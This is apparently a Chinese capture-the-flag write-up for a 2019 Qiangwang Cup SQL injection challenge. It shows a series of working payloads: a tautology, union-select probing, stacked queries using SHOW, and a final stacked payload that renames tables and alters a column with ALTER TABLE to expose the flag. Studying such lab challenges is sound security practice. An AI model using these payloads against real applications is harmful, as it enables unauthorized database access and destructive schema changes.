[强网杯 2019]随便注 1
直接查看源代码
除了《sqlmap是没有灵魂的》,一切正常,说明可以通过sqlmap来做题,但是我要做一个有灵魂的人!
先输入1'
有报错,猜测是字符型
直接万能密码 1' or 1=1#
感觉没什么有用的
再order by一下
发现为3的时候报错了,直接联合查询 1' union select 1,2#
发现过滤了select等指令,双写也过滤
尝试用show进行堆叠注入 1';show databases;#
发现可以执行,接着尝试1';show tables;#
出来两个表 "1919810931114514" , "words"
先从字少的搞起,直接1';show columns from words;#
发现有 id 和 data,感觉万能密码回显的数据就是id 和 data,因此回显的数据来源就是words表,words表先看到这里
接着 1';show columns from 1919810931114514;#,然后发现show指令没有显示结果,感觉是因为表名是纯数字,然后上网一搜,果真如此
然后 1';show columns from `1919810931114514`;#
终于看见了 flag 的影子
经过几番挣扎,我终究是水平有限,开搜。
。。。。。。
上文提到过万能密码回显的数据来源是words表,因此我可以将1919810931114514这个表改名为words,然后通过万能密码回显出flag。
构造payload:1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
然后输入万能密码回显出flag。